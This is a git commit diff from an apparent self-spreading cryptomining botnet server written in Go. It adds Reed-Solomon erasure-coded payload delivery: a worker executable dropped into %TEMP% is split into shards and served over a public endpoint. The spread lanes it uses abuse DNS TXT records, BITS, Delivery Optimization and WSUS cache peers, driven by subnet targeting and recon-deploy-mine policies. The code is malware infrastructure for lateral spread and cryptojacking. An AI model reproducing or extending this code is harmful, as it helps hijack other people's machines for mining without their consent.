Add erasure-coded multi-lane spread foundation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
This commit is contained in:
AetherForge
2026-06-07 06:09:20 -07:00
parent 39b935aeb6
commit 0445b7ed4f
39 changed files with 1379 additions and 72 deletions

View File

@@ -103,6 +103,8 @@ type ServerSettings struct {
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min,omitempty"`
// HashrateGateHPS is the minimum H/s required for hashrate-gated propagation.
HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"`
// ErasureLanesEnabled attaches ReedSolomon multi-lane shard metadata to signed deploy plans.
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
@@ -981,6 +983,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(srvKeys, "fleet_roles_enabled") {
dst.Server.FleetRolesEnabled = src.Server.FleetRolesEnabled
}
if in(srvKeys, "erasure_lanes_enabled") {
dst.Server.ErasureLanesEnabled = src.Server.ErasureLanesEnabled
}
if in(srvKeys, "ai_endpoint") {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}

View File

@@ -7,6 +7,8 @@ require (
github.com/go-chi/cors v1.2.1
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.1
github.com/klauspost/reedsolomon v1.12.4
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e
golang.org/x/crypto v0.52.0
modernc.org/sqlite v1.29.5
)
@@ -14,10 +16,10 @@ require (
require (
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
github.com/klauspost/cpuid/v2 v2.2.8 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e // indirect
golang.org/x/net v0.54.0 // indirect
golang.org/x/sys v0.45.0 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect

View File

@@ -12,6 +12,10 @@ github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/
github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM=
github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
github.com/klauspost/reedsolomon v1.12.4 h1:5aDr3ZGoJbgu/8+j45KtUJxzYm8k08JGtB9Wx1VQ4OA=
github.com/klauspost/reedsolomon v1.12.4/go.mod h1:d3CzOMOt0JXGIFZm1StgkyF14EYr3xneR2rNWo7NcMU=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU=
@@ -30,6 +34,7 @@ golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w=
golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=

View File

@@ -13,6 +13,7 @@ import (
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
)
@@ -70,6 +71,7 @@ type DeployPlanBody struct {
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
}
type deployPlanRequest struct {
@@ -98,8 +100,10 @@ type DeployPlanHandler struct {
projectRoot string
publicURL func() string
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
erasureEnabled func() bool
erasureShards *erasure.ShardStore
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -118,6 +122,21 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
h.pathTracer = handler
}
// BindErasure wires ReedSolomon shard encoding for multi-lane deploy plans.
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
h.erasureEnabled = enabled
h.erasureShards = store
}
// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
h.erasureShards = store
if hub == nil {
return
}
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
}
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
@@ -242,9 +261,62 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err
}
return body, nil
}
func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
return nil
}
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return err
}
payload, err := os.ReadFile(build.FilePath)
if err != nil {
return fmt.Errorf("erasure read build: %w", err)
}
dest := `%TEMP%\AetherForge\worker.exe`
launch := "exe"
dllExport := ""
if body.Manifest != nil {
if body.Manifest.Dest != "" {
dest = body.Manifest.Dest
}
if body.Manifest.Launch != "" {
launch = body.Manifest.Launch
}
dllExport = body.Manifest.DLLExport
}
deferMining := true
spreadInstall := true
if body.Manifest != nil {
deferMining = body.Manifest.DeferMining
spreadInstall = body.Manifest.SpreadInstall
}
plan, err := erasure.BuildPlan(
h.erasureShards, serverURL, buildID, req.Campaign, payload,
dest, launch, dllExport, deferMining, spreadInstall,
)
if err != nil {
return err
}
body.ErasurePlan = plan
if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true
}
return nil
}
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
if h.pathTracer == nil {
return nil

View File

@@ -0,0 +1,93 @@
package api
import (
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5"
)
func TestBuildPlanAttachesErasureMetadata(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
t.Fatalf("expected erasure_plan, got %+v", plan.ErasurePlan)
}
if len(plan.ErasurePlan.Shards) != 6 {
t.Fatalf("shards=%d", len(plan.ErasurePlan.Shards))
}
if plan.ErasurePlan.PayloadSHA256 == "" {
t.Fatal("expected payload sha256")
}
for _, ref := range plan.ErasurePlan.Shards {
if _, ok := store.Get(plan.ErasurePlan.ShardToken, ref.Index); !ok {
t.Fatalf("missing stored shard %d", ref.Index)
}
}
}
func TestBuildPlanSkipsErasureWhenDisabled(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return false }, store)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan != nil {
t.Fatalf("expected no erasure plan, got %+v", plan.ErasurePlan)
}
}
func TestPublicErasureShardEndpoint(t *testing.T) {
store := erasure.NewShardStore()
payload := []byte("public-erasure-shard")
plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, `%TEMP%\w.exe`, "exe", "", true, true)
if err != nil {
t.Fatal(err)
}
h := NewPublicHandler(nil, "", nil)
h.BindErasureShardStore(store)
r := chi.NewRouter()
r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
if rec.Body.Len() == 0 {
t.Fatal("empty shard body")
}
}
func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
pt := NewPathTracerHandler(nil)
h.BindPathTracer(pt)
plan, err := h.buildPlan(deployPlanRequest{
AgentID: "seed-1", Platform: "windows", BuildID: "b1",
}, "DoSvc", ServiceDeployLane{Lane: "do_peer"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan == nil {
t.Fatal("expected erasure plan")
}
}

View File

@@ -0,0 +1,38 @@
package api
import (
"encoding/json"
"testing"
)
func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) {
hub := NewWSHub(nil)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
raw := buildAuthSpreadPolicy(hub)
var policy map[string]interface{}
if err := json.Unmarshal(raw, &policy); err != nil {
t.Fatal(err)
}
enabled, ok := policy["erasure_lanes_enabled"].(bool)
if !ok || !enabled {
t.Fatalf("policy=%#v", policy)
}
}
func buildAuthSpreadPolicy(hub *WSHub) json.RawMessage {
policy := hub.serverPolicySnapshot()
if !policy.ErasureLanesEnabled && policy.HashrateGateSpreadMin <= 0 && policy.HashrateGateHPS <= 0 {
return nil
}
spreadPolicy := map[string]interface{}{
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
}
if policy.HashrateGateSpreadMin > 0 {
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
raw, _ := json.Marshal(spreadPolicy)
return raw
}

View File

@@ -2,12 +2,14 @@ package api
import (
"encoding/base64"
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
@@ -21,15 +23,21 @@ type PublicBuildsConfig struct {
// PublicHandler serves unauthenticated build listing and download endpoints.
type PublicHandler struct {
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
erasureShards *erasure.ShardStore
}
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
}
// BindErasureShardStore serves ReedSolomon shard bytes for multi-lane deploy plans.
func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) {
h.erasureShards = store
}
type publicBuildDTO struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
@@ -199,6 +207,34 @@ func encodeDNSTXTShard(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
// GET /api/v1/public/erasure-shard/{token}/{index}
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
if h.erasureShards == nil {
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
return
}
token := strings.TrimSpace(chi.URLParam(r, "token"))
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
indexStr := strings.TrimSpace(chi.URLParam(r, "index"))
index := 0
if indexStr != "" {
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
http.Error(w, "invalid shard index", http.StatusBadRequest)
return
}
}
data, ok := h.erasureShards.Get(token, index)
if !ok {
http.Error(w, "shard not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {

View File

@@ -750,6 +750,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/download/{id}", publicHandler.Download)
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
}
})

View File

@@ -24,6 +24,8 @@ type ServerPolicy struct {
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
HashrateGateSpreadMin int
HashrateGateHPS float64
// ErasureLanesEnabled attaches ReedSolomon shard metadata to signed deploy plans.
ErasureLanesEnabled bool
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

View File

@@ -99,6 +99,7 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
}
in.LaneSuccess = collectLaneSuccessStats(hub)
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
return in
}

View File

@@ -918,11 +918,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 {
resp["spread_policy"] = map[string]interface{}{
"hashrate_gate_spread_min": policy.HashrateGateSpreadMin,
"hashrate_gate_hps": policy.HashrateGateHPS,
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled {
spreadPolicy := map[string]interface{}{
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
}
if policy.HashrateGateSpreadMin > 0 {
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
resp["spread_policy"] = spreadPolicy
}
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)

View File

@@ -0,0 +1,134 @@
// Package erasure provides ReedSolomon k-of-n shard encode/decode for spread payloads.
package erasure
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"fmt"
"github.com/klauspost/reedsolomon"
)
const (
// SchemeReedSolomonV1 is the deploy-plan erasure scheme identifier.
SchemeReedSolomonV1 = "reed_solomon_v1"
// DefaultDataShards is the data shard count for spread payload encoding.
DefaultDataShards = 4
// DefaultParityShards is the parity shard count (any DefaultDataShards of total reconstruct).
DefaultParityShards = 2
)
// Params describes a ReedSolomon split.
type Params struct {
DataShards int
ParityShards int
}
// DefaultParams returns the standard 4+2 erasure split.
func DefaultParams() Params {
return Params{DataShards: DefaultDataShards, ParityShards: DefaultParityShards}
}
// MinShards returns the minimum shard count required for reconstruction.
func (p Params) MinShards() int {
if p.DataShards <= 0 {
return 0
}
return p.DataShards
}
// TotalShards returns data + parity shard count.
func (p Params) TotalShards() int {
return p.DataShards + p.ParityShards
}
// Normalize fills zero values with defaults and validates counts.
func (p Params) Normalize() (Params, error) {
if p.DataShards <= 0 {
p.DataShards = DefaultDataShards
}
if p.ParityShards <= 0 {
p.ParityShards = DefaultParityShards
}
if p.DataShards < 1 || p.ParityShards < 1 {
return Params{}, fmt.Errorf("erasure: invalid shard counts data=%d parity=%d", p.DataShards, p.ParityShards)
}
if p.DataShards+p.ParityShards > 256 {
return Params{}, fmt.Errorf("erasure: too many shards")
}
return p, nil
}
// Encode splits payload into equal-sized ReedSolomon shards.
// The returned size is the original payload length (for Join on decode).
func Encode(data []byte, p Params) ([][]byte, int, error) {
p, err := p.Normalize()
if err != nil {
return nil, 0, err
}
if len(data) == 0 {
return nil, 0, fmt.Errorf("erasure: empty payload")
}
origSize := len(data)
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
if err != nil {
return nil, 0, err
}
shards, err := enc.Split(data)
if err != nil {
return nil, 0, err
}
if err := enc.Encode(shards); err != nil {
return nil, 0, err
}
return shards, origSize, nil
}
// Decode reconstructs payload from at least MinShards() shards (nil entries allowed for missing).
func Decode(shards [][]byte, payloadSize int, p Params) ([]byte, error) {
p, err := p.Normalize()
if err != nil {
return nil, err
}
if len(shards) < p.TotalShards() {
return nil, fmt.Errorf("erasure: shard slice too short")
}
present := 0
for i := 0; i < p.TotalShards(); i++ {
if len(shards[i]) > 0 {
present++
}
}
if present < p.MinShards() {
return nil, fmt.Errorf("erasure: need %d shards, have %d", p.MinShards(), present)
}
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
if err != nil {
return nil, err
}
if err := enc.Reconstruct(shards); err != nil {
return nil, err
}
ok, err := enc.Verify(shards)
if err != nil {
return nil, err
}
if !ok {
return nil, fmt.Errorf("erasure: shard verification failed")
}
if payloadSize <= 0 {
payloadSize = len(shards[0]) * p.DataShards
}
var buf bytes.Buffer
if err := enc.Join(&buf, shards, payloadSize); err != nil {
return nil, err
}
return buf.Bytes(), nil
}
// PayloadSHA256 returns hex SHA256 of the original payload.
func PayloadSHA256(data []byte) string {
sum := sha256.Sum256(data)
return hex.EncodeToString(sum[:])
}

View File

@@ -0,0 +1,94 @@
package erasure
import (
"bytes"
"testing"
)
func TestEncodeDecodeRoundTrip(t *testing.T) {
payload := []byte("deploy-plan-test-payload-for-erasure-lanes")
shards, size, err := Encode(payload, DefaultParams())
if err != nil {
t.Fatal(err)
}
if len(shards) != DefaultDataShards+DefaultParityShards {
t.Fatalf("shards=%d", len(shards))
}
got, err := Decode(shards, size, DefaultParams())
if err != nil {
t.Fatal(err)
}
if !bytes.Equal(got, payload) {
t.Fatalf("round-trip mismatch")
}
}
func TestDecodeWithMissingParityShards(t *testing.T) {
payload := bytes.Repeat([]byte{0xab}, 512)
shards, size, err := Encode(payload, DefaultParams())
if err != nil {
t.Fatal(err)
}
// Drop two parity shards — still reconstruct with 4 data shards.
shards[4] = nil
shards[5] = nil
got, err := Decode(shards, size, DefaultParams())
if err != nil {
t.Fatal(err)
}
if !bytes.Equal(got, payload) {
t.Fatal("reconstruct with missing parity failed")
}
}
func TestDecodeWithMixedLoss(t *testing.T) {
payload := []byte("mixed-loss-erasure-payload")
p := Params{DataShards: 2, ParityShards: 2}
shards, size, err := Encode(payload, p)
if err != nil {
t.Fatal(err)
}
shards[0] = nil
shards[3] = nil
got, err := Decode(shards, size, p)
if err != nil {
t.Fatal(err)
}
if !bytes.Equal(got, payload) {
t.Fatal("mixed loss reconstruct failed")
}
}
func TestDecodeInsufficientShards(t *testing.T) {
payload := []byte("short")
shards, size, err := Encode(payload, Params{DataShards: 2, ParityShards: 1})
if err != nil {
t.Fatal(err)
}
shards[0] = nil
shards[1] = nil
if _, err := Decode(shards, size, Params{DataShards: 2, ParityShards: 1}); err == nil {
t.Fatal("expected error for insufficient shards")
}
}
func TestBuildPlanStoresShards(t *testing.T) {
store := NewShardStore()
payload := []byte("lane-plan-payload")
plan, err := BuildPlan(store, "http://127.0.0.1:8989", "b1", "c1", payload, `%TEMP%\w.exe`, "exe", "", true, true)
if err != nil {
t.Fatal(err)
}
if !plan.Enabled || plan.Scheme != SchemeReedSolomonV1 || len(plan.Shards) != 6 {
t.Fatalf("plan=%+v", plan)
}
if plan.PayloadSHA256 != PayloadSHA256(payload) {
t.Fatal("sha mismatch")
}
for _, ref := range plan.Shards {
data, ok := store.Get(plan.ShardToken, ref.Index)
if !ok || len(data) == 0 {
t.Fatalf("missing shard %d", ref.Index)
}
}
}

View File

@@ -0,0 +1,93 @@
package erasure
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"strings"
)
// Parallel lane transport hints — shards map across lanes for redundancy beyond single-lane spread.
var parallelLaneOrder = []string{
"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "bits_curl",
}
// ShardRef is one erasure shard served on a parallel lane URL.
type ShardRef struct {
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
}
// Plan is deploy-plan metadata for agent-side ReedSolomon reassembly.
type Plan struct {
Enabled bool `json:"enabled"`
Scheme string `json:"scheme"`
DataShards int `json:"data_shards"`
ParityShards int `json:"parity_shards"`
PayloadSHA256 string `json:"sha256"`
PayloadSize int `json:"payload_size"`
ShardToken string `json:"shard_token"`
Dest string `json:"dest,omitempty"`
Launch string `json:"launch,omitempty"`
DLLExport string `json:"dll_export,omitempty"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
Shards []ShardRef `json:"shards"`
}
// BuildPlan encodes payload, stores shards, and returns lane metadata for a signed deploy plan.
func BuildPlan(store *ShardStore, serverURL, buildID, campaign string, payload []byte, dest, launch, dllExport string, deferMining, spreadInstall bool) (*Plan, error) {
if store == nil {
return nil, fmt.Errorf("erasure: nil shard store")
}
p, err := DefaultParams().Normalize()
if err != nil {
return nil, err
}
shards, payloadSize, err := Encode(payload, p)
if err != nil {
return nil, err
}
token := planToken(buildID, campaign, payload)
store.Put(token, p, shards)
base := strings.TrimRight(strings.TrimSpace(serverURL), "/")
if base == "" {
base = "http://127.0.0.1:8989"
}
refs := make([]ShardRef, len(shards))
for i := range shards {
lane := parallelLaneOrder[i%len(parallelLaneOrder)]
refs[i] = ShardRef{
Index: i,
Lane: lane,
URL: fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", base, token, i),
}
}
return &Plan{
Enabled: true,
Scheme: SchemeReedSolomonV1,
DataShards: p.DataShards,
ParityShards: p.ParityShards,
PayloadSHA256: PayloadSHA256(payload),
PayloadSize: payloadSize,
ShardToken: token,
Dest: dest,
Launch: launch,
DLLExport: dllExport,
DeferMining: deferMining,
SpreadInstall: spreadInstall,
Shards: refs,
}, nil
}
func planToken(buildID, campaign string, payload []byte) string {
h := sha256.New()
_, _ = h.Write([]byte(strings.TrimSpace(buildID)))
_, _ = h.Write([]byte{0})
_, _ = h.Write([]byte(strings.TrimSpace(campaign)))
_, _ = h.Write(payload)
sum := h.Sum(nil)
return hex.EncodeToString(sum[:8])
}

View File

@@ -0,0 +1,71 @@
package erasure
import (
"sync"
)
// ShardStore holds encoded shard bytes keyed by deploy-plan token.
type ShardStore struct {
mu sync.RWMutex
plans map[string][][]byte
params map[string]Params
}
// NewShardStore creates an in-memory shard cache for public erasure-shard endpoints.
func NewShardStore() *ShardStore {
return &ShardStore{
plans: make(map[string][][]byte),
params: make(map[string]Params),
}
}
// Put stores shards for a token.
func (s *ShardStore) Put(token string, p Params, shards [][]byte) {
if s == nil || token == "" || len(shards) == 0 {
return
}
s.mu.Lock()
defer s.mu.Unlock()
cp := make([][]byte, len(shards))
for i, sh := range shards {
cp[i] = append([]byte(nil), sh...)
}
s.plans[token] = cp
s.params[token] = p
}
// Get returns one shard by index.
func (s *ShardStore) Get(token string, index int) ([]byte, bool) {
if s == nil || token == "" {
return nil, false
}
s.mu.RLock()
defer s.mu.RUnlock()
shards, ok := s.plans[token]
if !ok || index < 0 || index >= len(shards) {
return nil, false
}
return append([]byte(nil), shards[index]...), true
}
// ParamsFor returns encoding params for a token.
func (s *ShardStore) ParamsFor(token string) (Params, bool) {
if s == nil || token == "" {
return Params{}, false
}
s.mu.RLock()
defer s.mu.RUnlock()
p, ok := s.params[token]
return p, ok
}
// Delete removes a token (tests / TTL sweeps).
func (s *ShardStore) Delete(token string) {
if s == nil || token == "" {
return
}
s.mu.Lock()
defer s.mu.Unlock()
delete(s.plans, token)
delete(s.params, token)
}

View File

@@ -56,11 +56,12 @@ type LaneSuccessStat struct {
// Input feeds the route table builder.
type Input struct {
Sessions []SessionSnapshot
FleetAgents []FleetAgentSnapshot
LaneSuccess []LaneSuccessStat
TargetSubnets []string
RequestedLane string
Sessions []SessionSnapshot
FleetAgents []FleetAgentSnapshot
LaneSuccess []LaneSuccessStat
TargetSubnets []string
RequestedLane string
ErasureLanesEnabled bool
}
// RouteEdge is a weighted edge from a seed hop to a target subnet.
@@ -88,7 +89,8 @@ type RouteRecommendation struct {
JoinLane string `json:"join_lane,omitempty"`
ClearanceLevel int `json:"clearance_level"`
Score float64 `json:"score"`
Reason string `json:"reason,omitempty"`
Reason string `json:"reason,omitempty"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
}
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
@@ -102,6 +104,8 @@ type SpreadRouteHint struct {
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
// ErasureLanesEnabled signals parallel ReedSolomon lane redundancy on deploy plans.
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
}
// RouteTable holds weighted edges and recommendations.
@@ -142,7 +146,7 @@ func Build(in Input) *RouteTable {
targets := normalizeTargets(in)
for _, target := range targets {
cands := collectCandidates(in, target, fleetByID, laneRates)
rec, edges := scoreCandidates(target, in.RequestedLane, cands)
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
if rec.SeedAgentID != "" {
rt.Routes = append(rt.Routes, rec)
rt.bySubnet[target] = rec
@@ -168,15 +172,16 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
return nil
}
return &SpreadRouteHint{
TargetSubnet: rec.TargetSubnet,
SeedAgentID: rec.SeedAgentID,
SeedAgentName: rec.SeedAgentName,
EgressAgentID: rec.EgressAgentID,
EgressHopIndex: rec.EgressHopIndex,
SessionID: rec.SessionID,
JoinLane: rec.JoinLane,
Score: rec.Score,
ClearanceLevel: rec.ClearanceLevel,
TargetSubnet: rec.TargetSubnet,
SeedAgentID: rec.SeedAgentID,
SeedAgentName: rec.SeedAgentName,
EgressAgentID: rec.EgressAgentID,
EgressHopIndex: rec.EgressHopIndex,
SessionID: rec.SessionID,
JoinLane: rec.JoinLane,
Score: rec.Score,
ClearanceLevel: rec.ClearanceLevel,
ErasureLanesEnabled: rec.ErasureLanesEnabled,
}
}
@@ -292,7 +297,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
return out
}
func scoreCandidates(target, requestedLane string, cands []candidate) (RouteRecommendation, []RouteEdge) {
func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
var edges []RouteEdge
var best RouteRecommendation
var bestScore float64
@@ -331,16 +336,17 @@ func scoreCandidates(target, requestedLane string, cands []candidate) (RouteReco
reason = "fleet agent on target subnet"
}
best = RouteRecommendation{
TargetSubnet: target,
SeedAgentID: c.agentID,
SeedAgentName: c.agentName,
EgressAgentID: c.agentID,
EgressHopIndex: c.hopIndex,
SessionID: c.sessionID,
JoinLane: firstNonEmpty(requestedLane, c.joinLane),
ClearanceLevel: c.clearance,
Score: weight,
Reason: reason,
TargetSubnet: target,
SeedAgentID: c.agentID,
SeedAgentName: c.agentName,
EgressAgentID: c.agentID,
EgressHopIndex: c.hopIndex,
SessionID: c.sessionID,
JoinLane: firstNonEmpty(requestedLane, c.joinLane),
ClearanceLevel: c.clearance,
Score: weight,
Reason: reason,
ErasureLanesEnabled: erasureLanes,
}
}
}

View File

@@ -104,6 +104,25 @@ func TestNormalizeSubnet(t *testing.T) {
}
}
func TestBuildSetsErasureLanesFlag(t *testing.T) {
in := Input{
TargetSubnets: []string{"10.9.8"},
ErasureLanesEnabled: true,
FleetAgents: []FleetAgentSnapshot{
{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
},
